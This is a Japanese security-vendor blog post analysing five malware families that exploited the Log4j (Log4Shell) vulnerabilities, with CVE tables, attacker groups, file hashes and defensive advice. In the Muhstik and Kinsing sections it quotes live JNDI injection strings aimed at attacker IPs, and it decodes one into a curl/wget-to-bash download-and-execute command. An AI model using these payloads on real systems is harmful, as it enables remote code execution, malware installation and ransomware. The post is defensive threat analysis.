2022.03.18   セキュリティ脅威

Apache Log4j 脆弱性を悪用するマルウェア

01. Apache Log4j 脆弱性の波及力

2021年12月初めて公開された Apache Log4j 脆弱性は、CVE-2021-44228脆弱性セキュリティのためのパッチを発表後、別の脆弱性も発見されその脆弱性も公開されている。現在までに発見されたApache Log4j脆弱性としては全部で5件ある。Paloalto Networksの資料によると、Apache Log4j脆弱性を利用した攻撃が一日最大1,000万件発生しており、攻撃に使用されるコールバック(Callback)URL分析結果、特定のドメイン(nessus[.]orgなど)または、攻撃者が望むC2へ試す回数も1,000万件以上発生している。

一般的に攻撃者は作成したマルウェア流布のためにゼロデー脆弱性や、PoC(Proof of concept)コードが公開さている脆弱性を利用する。マルウェア検知を可能な限り遅らせることができ、感染時のシステム影響度が高いマルウェアを感染させたり、攻撃者がシステムコマンドを実行するなどができる。CVE-2021-44228脆弱性は、現在CVSS(Common Vulnerability Scoring System)は10.0万点としており、攻撃に成功すると一番影響度が高い。

今回はApache Log4j脆弱性が初めて発表された2021年12月から当該の脆弱性を利用したマルウェア、及び悪用を試す攻撃グループに対して収集した情報を基に、その方法とマルウェア流布の方法について調べ記載しています。

Apache Log4j Malware 1

【▲ 日別Apache Log4j脆弱性スキャン回数(参考:Paloalto Networks)】

02. Apache Log4j 脆弱性の概要及び悪用事例

1) Apache Log4j 脆弱性

Apache Log4j脆弱性を悪用しようとした攻撃を調べる前にApache Log4jに関する主要脆弱性を整理する。2021/12/10 NVDに初めて登録されたCVE-2021-44228 の以前に確認された脆弱性は2種で、最新アップデートバージョンの 2.17.1 にアップデートされるまで、5件の脆弱性が追加で確認された。合計7種が確認されている。今回はApache Log4j脆弱性を悪用した流布方法について調べるため、それぞれの脆弱性の内容を簡単に以下の表にまとめた。

CVE登録日影響を受けるバージョン内容
CVE-2017-56452017/04/17Apache Log4j
2.8.2以下
ログのデシリアライズの過程から発生されてるリモートコード実行脆弱性
CVE-2019-175712019/12/13Apache Log4j
1.2~1.2.17
SocketServerのSocketNodeクラスを利用して任意コマンドの実行ができる脆弱性
CVE-2021-442282021/12/10Apache Log4j
2.2.0
-beta9~2.12.1
2.13.0~2.15.0
JNDI(Java Naming and Directory Interface)を利用してLDAP, RMI, DNS要請時、発生されるリモートコード実行脆弱性
CVE-2021-450462021/12/14ロギング構成がContext Lookupと主にデフォルトではないPattern Layout(例:${ctx:loginId})を使用する場合、JNDI Lookup進行時、発生されるリモートコード脆弱性
CVE-2021-41042021/12/14Apache Log4j
1.2.x
ログメッセージを利用したリモートコード実行脆弱性- JMSAppender機能を使用する場合のみ発生
CVE-2021-451052021/12/18Apache Log4j
2.0
-beta9~2.16.0
(2.12.3海外バージョンを除く)
ロギング構成がContext Lookupと主にデフォルトではないPattern Layout(例:${ctx:loginId})を使用する場合、再帰照会が含まれている悪意的な入力データを作成してサービス拒否する脆弱性
CVE-2021-448322021/12/28Apache Log4j
2.0
-beta7~2.17.0
(2.3.2及び2.12.4を除く)
ロギング構成ファイルの修正権限がある攻撃者がリモートコードが実行できる。JNDI URLを参照するデータソースと共に、JDBC Appenderを使用する悪性構成が作成でいるリモートコード実行脆弱性

【▲ Apache Log4j脆弱性リスト】

2) 攻撃履歴要約

Apache Log4j脆弱性で CVE-2021-44228 が初めて公開された2021年12月10日以降、マルウェア流布のための悪用可能な最高の脆弱性になり、HAFNIUM, PHOSPHORUSなど多数の攻撃グループがApache Log4j脆弱性の脆弱性を悪用して攻撃を試している。Apache Log4j脆弱性を悪用したり悪用の目的でテストを行っている攻撃グループは以下になる。

攻撃グループ最初発見時点内容
HAFNIUM中国2021DNSサービスを活用したApache Log4j脆弱性試し
PHOSPHORUSイラン2014Apache Log4j脆弱性を利用したランサムウェア流布試し
Wizard Spiderロシア2016Contiランサムウェア流布の目的でApache Log4j脆弱性を利用してVMware Vcenter Serverにアクセス後、仮想マシン暗号化
EvilCorpロシア2014Apache Log4j脆弱性を利用してDridex InfoStealer流布試し

【▲ Apache Log4j脆弱性の悪用試し攻撃グループ】

2021年12月10日以降、Apache Log4j脆弱性を悪用したマルウェアの情報を収集し、当該の脆弱性を悪用したマルウェアのリストは下記になる。

NO区分内容
1BotnetMuhstik, Mirai
2MinerKinsing(XMR), m8220(XMR), SRBMiner(XMR以外多数), XMRig(XMR)
3RansomwareKhonsari), TellYouThePass
4DDoSElknot
5RATOrcus, Nanocore
6InfostealerDridex

【▲ Apache Log4脆弱性の悪用試しマルウェアリスト】

03. Apache Log4j 脆弱性悪用CASE分析

1) Botnet, DDoS:Muhstik

MuhstikボットネットはMiraiボットネットのソースコードを修正して作成され、2018年初めて発見された。最初に発見されたサンプルはボットネット流布のためにDrupal脆弱性のCVE-2018-7600を悪用して流布し、C2の通信に9090ポートを使用する。ボットネットとの通信及びコマンドを伝えるためにIRCプロトコルを利用し、攻撃者の好みによってXMRマイニングプログラムであるXMRigを追加してインストールできて、DDoS攻撃実行ができるコードも含まれていることが知られている。Apache Log4j脆弱性を悪用して流布を試し、どのように感染させるか調べて見てみる。

ファイル名MD5
Exploit.class95d9a068529dd2ea4bb4bef644f5c4f5
Logf14019c55e7ce19d93838a4b2f6aec12
pty43430139e131617957d8c6aa48002ddac

【▲ 分析に使用されたファイル情報】

流布に使用された攻撃コードではCVE-2021-44228を悪用してJavaクラスファイルの要請及び実行を試す。

区分内容
攻撃コード${jndi:ldap://45.130.229.168:9999/Exploit.class}

【▲ Muhstikボットネットの脆弱性を悪用した攻撃例】

Javaクラスファイルでは、C2からShellスクリプトをダウンロードし、Shellスクリプト実行しMuhstikボットネットに関するマルウェアダウンロード及び、その実行を試す。

Apache Log4j Malware 2

【▲ Muhstikボットネットのインストールのためのファイル実行試し】

確保できたMuhstikボットネットサンプルを確認すると攻撃者が使用できるコマンドの内容が確認でき、ボットネットの機能にDDoS攻撃機能が追加されていることが確認できた。

Apache Log4j Malware 3

【▲ Muhstikボットネットが使用するコマンドの一部】

2) 仮想通貨マイニング:Kinsing Malware

Kinsing MalwareはGo言語でコンパイルされており、主にDockerを対象に間違って設定されたAPIポートの構成を悪用し、マルウェアを流布することが知られている。CVE-2021-44228が初めて確認された12月12日以前から、CVE-2021-44228を悪用しShellスクリプト実行試しで流布方法が変更されたことが確認できた。Kinsing Malwareは基本的に攻撃者が望むマルウェアをダウンロードし実行するが、現在は主にマイニングに関するマルウェア流布に使用されていてCVE-2021-44228脆弱性を悪用して感染させる方法も見られる。

ファイル名MD5
Kinsing3dfbe75871e218d08328a01c56e1bb42

【▲ 分析に使用されたファイル情報】

流布に使用されたコードを確認するとCVE-2021-44228を悪用してShellスクリプトダウンロード及び実行を試す。

コード内容
攻撃コード${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK}
BASE64デコーディング結果(curl -s 45.155.205[.]233[:]5874/[被害者 IP]:[被害者 port]||wget -q -O- 45.155.205[.]233[:]5874/[被害者 IP]:[被害者 port])|bash

【▲ Kinsing Malwareが脆弱性を悪用した攻撃例】

Shellスクリプトの内容を確認すると、当該の攻撃前にインストールされた仮想通貨マイニングツールの存在有無を検索し、存在する場合プロセスを終了及び削除を試す。

Apache Log4j Malware 4

【▲ 以前にインストールされたマイニングツールのプロセス終了及び削除試し】

全ての条件が満たされた場合、攻撃者が設定したC2にアクセスしてマイニングに関するファイルダウンロードを試す。

Apache Log4j Malware 5

【▲ 攻撃者が設定したC2へのアクセス試し】

ダウンロードに成功したファイルは/tmpの配下に保存されファイルを実行した後、マイニングのための設定を行い、作業を始める。

Apache Log4j Malware 6

【▲マイニングに関する設定内容の一部】

3) ランサムウェア:Khonsari

既存のランサムウェアの流布方法はメールの添付ファイル、ブログ内のJava Script挿入などでファイルダウンロード試すか、現在流行っているOS、プログラムの脆弱性を利用していると知られている。その中、Khonsariランサムウェアは2021年12月11日からApache Log4jリモートコード脆弱性を悪用する方法にアップデートし流布している。攻撃者の立場から犯罪収益を最大化する方法で、最新の脆弱性を悪用したとみられている。Khonsariランサムウェアがどのように脆弱性を悪用して流布しているか見てみる。

ファイル名MD5
Main.class4c62aec7ade8c9d8f12affd490745620
Groenhuyzen.exe6ac57a1e090e7abdb9b7212e058c43c6

【▲ 分析に使用されたファイル情報】

CVE-2021-44228脆弱性を利用してMain.classファイル要請を試し、成功した場合、Khonsariランサムウェアの実行ファイルであるgroenhuyzen.exeをダウンロードし、実行させる。

区分内容
脆弱性攻撃時、使用されるC2hxxp://3.145.115[.]94/Main.class
攻撃成功後、ダウンロードを試すファイルパスhxxp://3.145.115[.]94/zambo/groenhuyzen.exe

【▲ Khonsariランサムウェアが脆弱性を悪用した攻撃例】

ファイル暗号化される際、「.ini」、「.lnk 」拡張子を使用するファイルは除外されて以下の条件でファイルが暗号化される。

区分内容
CドライブC:\Users\「ユーザーアカウント」\Documents
C:\Users\「ユーザーアカウント」\Videos
C:\Users\「ユーザーアカウント」\Pictures
C:\Users\「ユーザーアカウント」\Downloads
C:\Users\「ユーザーアカウント」\Desktopフォルダ配下のファイルのみ暗号化
他のドライブ全体ファイルの暗号化

【▲ Khonsariランサムウェアのファイル暗号化条件】

image.png

【▲ Khonsariランサムウェアのファイル暗号化条件】

ファイル暗号化を始める前にC2からtxtファイル要請も確認できるが、実際には0KB応答が確認できた。

image.png

【▲ 攻撃者が設定したC2へのアクセス試し】

ファイル暗号化が終わったファイルは「.khonsari」拡張子で変更されて、ランサムノートが確認できる。

image.png

【▲ 暗号化が終わった時の画面】

4) リモート制御(RAT):Nanocore

Nanocoreは.NET基盤で作成されたRATタイプのマルウェアで2013年初めて発見された。攻撃者はモジュール化された機能を利用して情報奪取をためし、C2から暗号化されたコマンドを送信する。NanocoreがインストールされたPCは、C2から送信されたコマンドを基盤にキーロギング、アカウント、PC情報の収集、マイクを利用した録音、DDoS、Webcamで収集された情報をC2に送信する機能を持っている。最近アップデートされたNanocoreの流布方法はApache Log4jの脆弱性を利用しており、その方法について見てみる。

ファイル名MD5
a.exe54FCCF779C1611FE486A5C232F32F4D2

【▲ 分析に使用されたファイル情報】

流布中のJavaクラスファイルを確認した結果、C2からNanocoreファイルをダウンロードしてユーザーAppDataフォルダに保存後、実行されることが確認できた。

image.png

【▲ 流布中のJavaクラスファイルの内容】

C2からダウンロードしたファイルを確認すると異常のファイルが確認されたが、追加に確認した結果、商用パッカーであるThemidaを利用したファイルをパッキングしたことが確認できた。

image.png

【▲ C2からダウンロードしたファイルの情報】

パッキングされたマルウェアの一部をアンパッキングして確認した結果、C2から受信されたコマンドコードを利用して感染したPCの情報を収集した後、storage.datなど多数のファイルを保存する。その後、C2から当該のファイルを要請された場合、送信を試すことが確認できた。

image.png

【▲ Nanocoreが実施できる機能の一部】

5) Infostealer:Dridex

DridexはTA505またはEvilCorpと呼ばれる攻撃グループが作成して銀行またはユーザー情報奪取の目的で作成されたトロイの木馬で2014年初めて登場した。アメリカの財務省は2019年12月までDridexが40ヵ国以上、数百の銀行や金融機関所有のコンピューターを感染し、約1億ドル以上の盗難があったと推定している。既存のDridex配布方法は明細書、見積書などに偽装した文書の内部に不正マクロを追加した文書ファイルをメールに添付して送信、そのメールの添付ファイルを実行すると不正マクロが実行されてDridexのトロイの木馬がインストールされる方法を使用していた。最近アップデートされたDridexの流布方法はApache Log4jの脆弱性を悪用して流布を試しているため、その方法について見てみる。

ファイル名MD5
Binary9faf1dbcb4942cf3e3578414402180ed
htaA8B4692B81EBF2F5629C125508F52B9E

【▲ 分析に使用されたファイル情報】

下記の図のようにApache Log4jの脆弱性を悪用して攻撃者が事前にアップロードしたJavaクラスファイルを要請する。

image.png

【▲ Dridexが脆弱性を悪用した攻撃例】

image.png

【▲ 攻撃者が事前に設定したC2アドレスのリスト】

HTAファイルダウンロードに失敗した場合、curlを利用してPythonコードがあるファイルのダウンロードを試す。

image.png

【▲ HTAファイルダウンロード失敗時の条件】

ダウンロードに成功した場合、保存されるHTAファイルを確認するとVBSファイルを「C:\ProgramData\」配下に作成しVBSファイルを実行させる。

image.png

【▲ 特定のパスにVBSファイル作成試し】

保存されたVBSファイルを確認するとC2からファイルダウンロードを行い、rundll32またはregsvr32を利用してDridexトロイの木馬実行を試す。

image.png

【▲ 特定のパスに作成されたVBSファイル内容の一部】

HTAファイルのダウンロードに失敗した場合は、Pythonコードが有るファイルをダウンロードし、Base64デコーディング結果、リバースShellの使用を目的に、Meterpreterをインストールするデータが含まれていることが確認できた。

image.png

【▲ HTAファイルのダウンロードに失敗時、ダウンロードされるPythonコードの一部】

04. 最後に

Apache Log4j脆弱性を悪用するマルウェアを分類し、その5種のマルウェアを分析し、どのように脆弱性を悪用するか、そして悪用された不正コードの行為について調べてみた。分析したマルウェアは脆弱性が最初に公開された時点で作られたマルウェアではなく、以前から活発に活動しているマルウェアであることが確認された。流布方法にApache Log4jの脆弱性を悪用する方法を追加して流布しており、攻撃者は最新脆弱性の中、波及力が高い、もしくは発表されたばかりの脆弱性を悪用して流布に使用されるとみられる。

攻撃者は脆弱性を悪用してマルウェアをインストールすることが主な目的でり、脆弱性は最新のものも利用される。その為、対策で来ていない脆弱性を利用されることも考えられるため、脆弱性対策だけでなくマルウェアに感染した場合の対応の両方が必要である。

1) 最新アップデート及びモニタリング強化

脆弱性に対応する一番確実な方法は脆弱性を修正したバージョンへのアップデートである。比較的に最近発見されて波及力が高い脆弱性の場合、アップデートが遅くなればなるほど脆弱性スキャンに検知され、攻撃者のターゲットになる可能性が非常に高い。これを防ぐためには最新アップデートのインストールは早く進めるべきである。

2) ユーザー対応方法

今回のApache Log4jの脆弱性はほとんどがサーバを対象にしている。一般ユーザーのPCからサーバを作り、一般ユーザーPCがApache Log4jを使用してサービスオープンしたものなどに脆弱性が悪用される場合も存在する。この場合も同じく脆弱なプログラムに対する最新アップデートは必須で行うことを推奨する。

一般的にユーザーPCは脆弱性を悪用して攻撃するより、フィッシング、スミッシングなどを利用してユーザーを騙したり、特定のプログラムをインストールする際に内部に挿入された不正コードがインストールされるといった方法を利用している。このような状況を防ぐために疑わしいメールの閲覧禁止及び即時削除、公式ホームページから提供していないプログラムのインストール禁止などでマルウェアがインストールされないように習慣をつけるのが大事である。

05. 参考資料

1) Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
2) Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild
https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild
3) Analysis of Novel Khonsari Ransomware Deployed by the Log4Shell Vulnerability
https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/
4) Critical Log4Shell (Apache Log4j) Zero-Day Attack Analysis
https://www.nozominetworks.com/blog/critical-log4shell-apache-log4j-zero-day-attack-analysis/
5) Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
6) Log4j vulnerability now used to install Dridex banking malware
https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/
7) Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)
https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/

Written by CYBERFORTRESS, INC.

サイバーフォートレス CYBERTHREATS TODAY 編集チーム

サイバーフォートレスは、サイバーセキュリティ対策を提供するセキュリティ専門企業です。

セキュリティ対策や、最新のセキュリティ脅威、サイバー攻撃のトレンドなど、当社が研究開発や情報収集した内容をもとに、最新のセキュリティ脅威・セキュリティ対策についてお伝えします。

関連記事

よく読まれている記事